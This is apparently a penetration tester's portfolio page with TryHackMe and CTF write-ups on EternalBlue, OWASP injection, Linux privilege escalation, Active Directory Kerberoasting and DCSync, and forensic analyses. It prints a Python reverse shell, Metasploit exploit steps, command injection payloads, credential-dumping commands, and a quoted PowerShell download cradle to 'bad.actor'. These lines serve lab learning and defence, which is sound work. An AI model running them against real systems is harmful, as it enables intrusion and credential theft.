Ethical Hacking · Penetration Testing · Bug Bounty
Ethical hacker and penetration tester specialising in web application security, bug bounty hunting, and red team operations. TryHackMe Top 2% globally with hands-on lab experience across real-world attack and CTF scenarios.
I'm Bhakta Sharma — a cybersecurity professional focused on ethical hacking, penetration testing, and bug bounty hunting. I actively hunt real vulnerabilities on public programs, perform authorised pentests, and build my own security tooling. My Civil Engineering background gave me a systematic, methodical approach I now apply to breaking down security problems.
I actively study on TryHackMe (Top 2% globally, 150+ rooms), build real security tools in Python and Bash, and document my findings through detailed CTF writeups. I'm currently deepening my skills in web application security, red teaming, and advanced exploit development.
My goal: a career in penetration testing or bug bounty hunting where I can find and responsibly disclose real vulnerabilities. I also hold a Digital Forensics certificate (Grade A+) and have solid DFIR knowledge as a complementary skill to my offensive security work.
Click any tile for full specs, usage examples, and proficiency breakdown.
All tools built from scratch and tested in lab environments. Click any card for full details.
Detailed step-by-step walkthroughs of TryHackMe and HackTheBox challenges.
All tools are open source — built, tested, and documented in real lab environments.
Open to opportunities in DFIR, penetration testing, and security analysis. Whether you have a project, a job offer, or just want to talk security — reach out.
Exploit a Windows machine vulnerable to MS17-010 (EternalBlue). Covers the full attack chain from scanning to post-exploitation credential dumping.
▸ What I Learned--script vuln to detect MS17-010 without manual CVE lookup.ms17_010_eternalblue and ms17_010_psexec, and when to use each.hashdump, getsystem, shell migration for stable sessions.nmap -sV --script vuln -p 445 <TARGET> → VULNERABLE: smb-vuln-ms17-010 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS <TARGET> ; run → Meterpreter session opened as NT AUTHORITY\SYSTEM hashdump → NTLM hashes for all local accounts john --format=NT hashes.txt --wordlist=rockyou.txt
Hands-on memory forensics using the Volatility framework. Learned to triage memory dumps, detect process injection, extract network artefacts, and dump credentials from RAM.
▸ What I Learnedwindows.info to identify OS version and kernel base before any analysis.windows.pstree and windows.psscan to spot orphaned or hidden processes.windows.malfind flags memory regions that are executable, writable, and contain PE headers.windows.hashdump and windows.lsadump to pull NTLM hashes directly from RAM.windows.netstat for open connections even after the process terminates (from pool memory).python3 vol.py -f dump.raw windows.info # OS profile python3 vol.py -f dump.raw windows.pstree # process tree python3 vol.py -f dump.raw windows.malfind # injected code python3 vol.py -f dump.raw windows.netstat # network connections python3 vol.py -f dump.raw windows.hashdump # NTLM hashes python3 vol.py -f dump.raw windows.filescan # file handles in memory python3 vol.py -f dump.raw windows.cmdline # process command lines
Foundational cryptography concepts applied in a security context — symmetric vs asymmetric encryption, hashing, digital signatures, and common cipher attacks.
▸ What I Learned# XOR key reuse attack (crib-dragging) ct1_xor_ct2 = bytes(a ^ b for a,b in zip(ct1, ct2)) # Hash cracking with hashcat hashcat -m 0 hash.txt rockyou.txt # MD5 hashcat -m 100 hash.txt rockyou.txt # SHA-1 # RSA small exponent — if e=3 and m is small, m = cbrt(c) import gmpy2; m = gmpy2.iroot(c, 3)[0]
Practical exploitation of each of the OWASP Top 10 vulnerabilities against intentionally vulnerable web applications. Covered injection, broken auth, SSRF, XXE, and more.
▸ Vulnerabilities Practiced/etc/passwd and probe internal services.GET /ping?ip=127.0.0.1;cat+/etc/passwd HTTP/1.1 → root:x:0:0:root:/root:/bin/bash # Operator chaining: ; | || && `cmd` $(cmd)
Hands-on open-source intelligence gathering — using public sources, metadata, reverse image search, DNS records, and social engineering foundations to profile targets.
▸ What I Learnedsite:, filetype:, intitle:, inurl: to surface sensitive exposed files and login pages.dig, nslookup, dnsx for zone transfers, subdomain brute-forcing, SPF/DMARC misconfiguration analysis.exiftool.exiftool photo.jpg # extract metadata dig axfr @ns1.target.com target.com # zone transfer attempt theHarvester -d target.com -b all # email/subdomain harvest shodan search "apache 2.4.49 200" # vulnerable server search # Google dork examples site:target.com filetype:pdf intitle:"index of" site:target.com
Systematic enumeration and exploitation of Linux privilege escalation vectors — from SUID binaries and cron jobs to sudo misconfigurations and writable passwd files.
▸ Escalation Vectors Coveredfind / -perm -4000, exploiting unusual SUID binaries via GTFOBins.getcap -r / 2>/dev/null to find binaries with elevated kernel capabilities (python3 + cap_setuid).sudo -l # sudo rights find / -perm -4000 -type f 2>/dev/null # SUID files getcap -r / 2>/dev/null # capabilities cat /etc/crontab ; ls -la /etc/cron* # cron jobs find / -writable -type f 2>/dev/null | grep -v proc # writable files cat /etc/passwd | grep -v nologin | grep -v false # login users
End-to-end Active Directory penetration testing — from initial enumeration and user harvesting through to Kerberos attacks, lateral movement, and domain dominance.
▸ Attack Phases Coveredenum4linux, ldapdomaindump, CrackMapExec for users, groups, shares, and password policy.pth-winexe and CrackMapExec.secretsdump.py, obtaining krbtgt for Golden Ticket persistence.GetUserSPNs.py domain/user:pass -dc-ip DC -request -outputfile spns.txt hashcat -m 13100 spns.txt rockyou.txt → svc-admin : management2005 secretsdump.py domain/svc-admin:management2005@DC → Administrator NTLM : 0e0363213e37b94221497260b0bcb4fc → krbtgt NTLM : 8fbf5eec4d06f15ee76a456a4e197b13
Static and dynamic malware analysis techniques — from safe sandboxing and string extraction to behavioural analysis with Process Monitor and network traffic inspection.
▸ Analysis Methodologyfile, strings, exiftool, PEStudio for PE headers, imports, exports, and entropy analysis to detect packing.file malware.exe → PE32+ executable, UPX packed upx -d malware.exe → unpacked to malware_unpacked.exe strings malware_unpacked.exe | grep -E "http|\.exe|cmd" → http://185.220.x.x/gate.php → C:\Users\Public\svcupdate.exe sha256sum malware.exe → Submit to VirusTotal: 47/72 detections — Trojan.AgentTesla
Deep-dive into Wireshark for network forensics — capture filters, display filters, protocol dissection, stream following, and extracting files from packet captures.
▸ What I Learnedport 80, host x.x.x.x) vs Wireshark display filter syntax (http.request.method == "POST").http.request.method == "POST" # POST requests dns.qry.name contains "evil" # suspicious DNS tcp.flags.syn == 1 && tcp.flags.ack == 0# SYN scan detection frame contains "password" # credential search ip.src == 192.168.1.x && http # host HTTP traffic !(arp || dns || icmp) # remove noise
TryHackMe's flagship 64-hour learning path covering the complete penetration testing methodology — from reconnaissance and web exploitation to network pivoting and report writing.
▸ Modules CompletedBlue team training for Tier 1 SOC analysts — alert triage, SIEM querying, threat intelligence lookups, phishing analysis, network traffic detection, and incident escalation.
▸ Skills Developedindex=windows EventCode=4625 | stats count by src_ip | sort -count → Brute-force detection by source IP index=windows EventCode=4688 NewProcessName="*powershell*" | table _time, ComputerName, CommandLine → PowerShell execution monitoring index=network dest_port=4444 OR dest_port=1337 | stats count by src_ip dest_ip → Common C2 port detection
End-to-end incident response simulation — from initial detection and containment through evidence preservation, forensic analysis, eradication, and post-incident reporting following the NIST IR framework.
▸ IR Lifecycle — NIST SP 800-61kape.exe --tsource C: --tdest D:\Evidence --target !SANS_Triage → Collects: Event logs, registry hives, prefetch, LNK files, browser history, $MFT, scheduled tasks, startup items kape.exe --msource D:\Evidence --mdest D:\Processed --module !EZParser → Parses all artefacts into CSV/JSON for timeline analysis
Full compromise of a Windows 7 machine via the infamous MS17-010 SMB vulnerability, exploited with Metasploit and followed by credential dumping.
▸ 01 · ReconnaissanceStarting with a full port scan and script-based vulnerability detection to fingerprint the target and confirm the presence of MS17-010.
nmap -sV -sC --script vuln -p 445 10.10.x.x Starting Nmap 7.94 ... PORT STATE SERVICE VERSION 445/tcp open microsoft-ds Windows 7 Professional 7601 SP1 | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 | CVE: CVE-2017-0143 | Risk factor: HIGH | Disclosure date: 2017-03-14
Loaded the exploit/windows/smb/ms17_010_eternalblue module, configured the RHOSTS and LHOST, then ran the exploit to land a Meterpreter shell as NT AUTHORITY\SYSTEM — no privilege escalation required.
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.10.x.x set LHOST 10.10.y.y set payload windows/x64/shell/reverse_tcp run [*] Started reverse TCP handler on 10.10.y.y:4444 [*] 10.10.x.x:445 - Connecting to target for exploitation. [+] 10.10.x.x:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.x.x:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-= [*] Meterpreter session 1 opened meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
With SYSTEM-level access, dumped all local account NTLM hashes using Meterpreter's hashdump. Cracked the hashes offline with John the Ripper.
hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: # Crack with John john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt alqfna22 (Jon)
Post-compromise forensic investigation of a Windows machine — reconstructing the attacker's timeline through event logs, registry hives, scheduled tasks, and persistence mechanisms.
▸ 01 · Initial TriageFirst step was baselining the system — OS version, last boot time, local users, and installed software to understand the environment before diving into logs.
systeminfo | findstr /B /C:"OS" /C:"Last Boot" OS Name: Microsoft Windows Server 2016 Last Boot Time: 3/30/2019, 6:00:29 AM net user Administrator Guest Jenny John # Unexpected users: Jenny — investigate further
Examined Security event logs for Event ID 4625 (failed logon) and 4624 (success). Found a burst of 4625 events from external IP preceding a successful 4624 — classic brute-force pattern.
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625} | Select -First 10 TimeCreated : 3/30/2019 4:13:07 AM Message : An account failed to log on. Account Name : Administrator Source IP : 10.34.2.3 [84 failed attempts in 6 minutes] EventID 4624 : Successful logon — Administrator — 04:14:22
Discovered a malicious scheduled task named "GameOver" that ran a PowerShell download cradle on every logon to re-establish C2.
Get-ScheduledTask | Where-Object {$_.TaskName -like "*Game*"} TaskName : GameOver Execute : powershell.exe -ep bypass -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://bad.actor/payload.ps1')" Trigger : AtLogon — User: SYSTEM
Checked standard autorun locations. Found a registry run key pointing to a renamed netcat binary masquerading as a Windows process.
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows Update Service : C:\Users\Jenny\AppData\Local\Temp\svch0st.exe -e cmd 10.34.2.3 1337 # svch0st.exe is a renamed nc.exe (netcat) Get-FileHash C:\Users\Jenny\AppData\Local\Temp\svch0st.exe SHA256: b60d7c3e82fef91ca5c3b5fa9a5b0f... # VirusTotal: 52/72 detections — Netcat 1.12
Deep-dive analysis of a Windows memory dump using Volatility 3. Identified a live malware infection, extracted injected shellcode, recovered encryption keys, and documented a full IOC list.
▸ 01 · Memory Acquisition & Profilepython3 vol.py -f memdump.raw windows.info Kernel Base : 0xf8000285a000 Image Type : Service Pack 1 NtSystemRoot: C:\Windows NtMajorVersion: 6 NtMinorVersion: 1 Detected OS : Windows 7 SP1 x64
Ran windows.pstree to visualize parent-child relationships. Found a suspicious svchost.exe spawned directly by explorer.exe — legitimate svchost processes are always children of services.exe.
python3 vol.py -f memdump.raw windows.pstree PID PPID Name Wow64 Handles 4 0 System False -- 280 4 smss.exe False -- 504 280 csrss.exe False -- 544 280 wininit.exe False -- 616 544 services.exe False -- 716 616 svchost.exe False -- ← legitimate 1748 1232 explorer.exe False -- 2496 1748 svchost.exe False -- ← ANOMALY: wrong parent
python3 vol.py -f memdump.raw windows.malfind --pid 2496 Process: svchost.exe PID: 2496 Start: 0x00400000 Flags: PAGE_EXECUTE_READWRITE VAD Tag: VadS 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ header detected — PE injected into process memory
python3 vol.py -f memdump.raw windows.netstat Offset Proto LocalAddr ForeignAddr State PID Owner 0x... TCPv4 192.168.1.105:49215 185.220.101.47:443 ESTABLISHED 2496 svchost.exe # 185.220.101.47 → Known Tor exit node / C2 infrastructure
Used windows.hashdump to extract NTLM hashes, and targeted memory offsets around the injected PE to recover a hardcoded XOR key used by the implant for payload decryption.
A Rick & Morty-themed web challenge. Identified command injection in a portal, bypassed keyword blacklisting, achieved RCE, and escalated to root to recover all three ingredient flags.
▸ 01 · EnumerationInspected page source and found a username in an HTML comment. Ran Gobuster to find hidden directories.
# Page source comment: <!-- Note to self, remember username: R1ckRul3s --> gobuster dir -u http://10.10.x.x -w /usr/share/dirb/wordlists/common.txt /login.php (Status: 200) /robots.txt (Status: 200) /portal.php (Status: 302) → redirects to login curl http://10.10.x.x/robots.txt Wubbalubbadubdub # robots.txt contained the password!
The portal ran OS commands but blocked the cat command. Used less as an alternative to read files. Established a reverse shell using Python.
# 'cat' is blacklisted — use less, head, strings, etc. less Sup3rS3cretPickl3Ingred.txt mr. meeseek hair python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.y.y",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Checking sudo permissions revealed that www-data could run ANY command as root without a password — instant privilege escalation.
sudo -l User www-data may run the following commands on ip-10-10-x-x: (ALL) NOPASSWD: ALL sudo cat /root/3rd.txt 3rd ingredient: fleeb juice
Analysis of a malicious packet capture to identify C2 beaconing, reconstruct HTTP payload delivery, extract a dropped executable, and compile a full set of network-based IOCs.
▸ 01 · Initial PCAP Triagetshark -r capture.pcap -q -z io,phs =================================================================== Protocol Hierarchy Statistics eth frames:4821 bytes:5234019 ip frames:4817 bytes:5233601 tcp frames:4701 bytes:5218432 http frames:342 bytes:1284832 dns frames:116 bytes:15169 ← high volume, possible DNS tunneling tshark -r capture.pcap -q -z conv,tcp | head -20 192.168.1.105 → 185.220.101.47:80 Frames:88 Bytes:1.2MB ← dominant flow
Filtered HTTP traffic to the suspicious external IP. Found GET requests to /gate.php?id= at near-exact 60-second intervals — classic C2 heartbeat pattern consistent with Zeus/Zbot malware family.
tshark -r capture.pcap -Y "http.host == \"185.220.101.47\"" -T fields -e frame.time -e http.request.uri 14:02:01.234 GET /gate.php?id=infected-host-001&os=win7&av=0 14:03:01.891 GET /gate.php?id=infected-host-001&os=win7&av=0 14:04:01.543 GET /gate.php?id=infected-host-001&os=win7&av=0 # Interval: ~60.3 seconds → beacon jitter ±0.5s
Used Wireshark's "Export Objects → HTTP" to extract a downloaded file. SHA256 hash matched a known banking trojan on VirusTotal.
tshark -r capture.pcap --export-objects http,./exported_objects Exported: update.exe (248,832 bytes) sha256sum exported_objects/update.exe a3b4c1d9e5f2a0b7c8d4e1f3a5b2c9d6... update.exe # VirusTotal: 49/72 — Trojan.Zeus.BankBot
Complete Active Directory penetration test from initial foothold to full domain compromise — BloodHound enumeration, Kerberoasting, Pass-the-Hash, and DCSync for NTDS.dit extraction.
▸ 01 · Initial Foothold & Enumerationenum4linux -a 10.10.x.x Domain: THM-AD DC: THMDC.THM-AD.LOCAL Users: Administrator, Guest, krbtgt, svc-admin, backup, admin2 # svc-admin is a service account — high Kerberoast target crackmapexec smb 10.10.x.x -u '' -p '' --shares SMB 10.10.x.x SYSVOL READ ONLY SMB 10.10.x.x NETLOGON READ ONLY
With a low-privileged user obtained via password spray, ran SharpHound to collect AD relationship data and ingested into BloodHound for attack path analysis.
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip Completed: Users (42), Groups (18), Computers (8), Sessions (12) # Ingest ZIP into BloodHound → query: Shortest path to DA Path found: pwned_user → GenericWrite → svc-admin → Kerberoastable → DA Group
GetUserSPNs.py THM-AD/svc-admin:password123 -dc-ip 10.10.x.x -request ServicePrincipalName Name MemberOf HTTP/thmserver.THM-AD.local svc-admin Domain Admins $krb5tgs$23$*svc-admin$THM-AD.LOCAL$HTTP/thmserver*$a3f9b21... hashcat -m 13100 svc-admin.hash /usr/share/wordlists/rockyou.txt $krb5tgs$23$...:management2005
With DA credentials, performed a DCSync attack to replicate all domain credentials from the DC — including the krbtgt hash for a potential Golden Ticket.
secretsdump.py THM-AD/svc-admin:management2005@10.10.x.x Administrator:500:aad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc::: krbtgt:502:aad3b435b51404ee:8fbf5eec4d06f15ee76a456a4e197b13::: # krbtgt hash enables Golden Ticket attacks for persistent access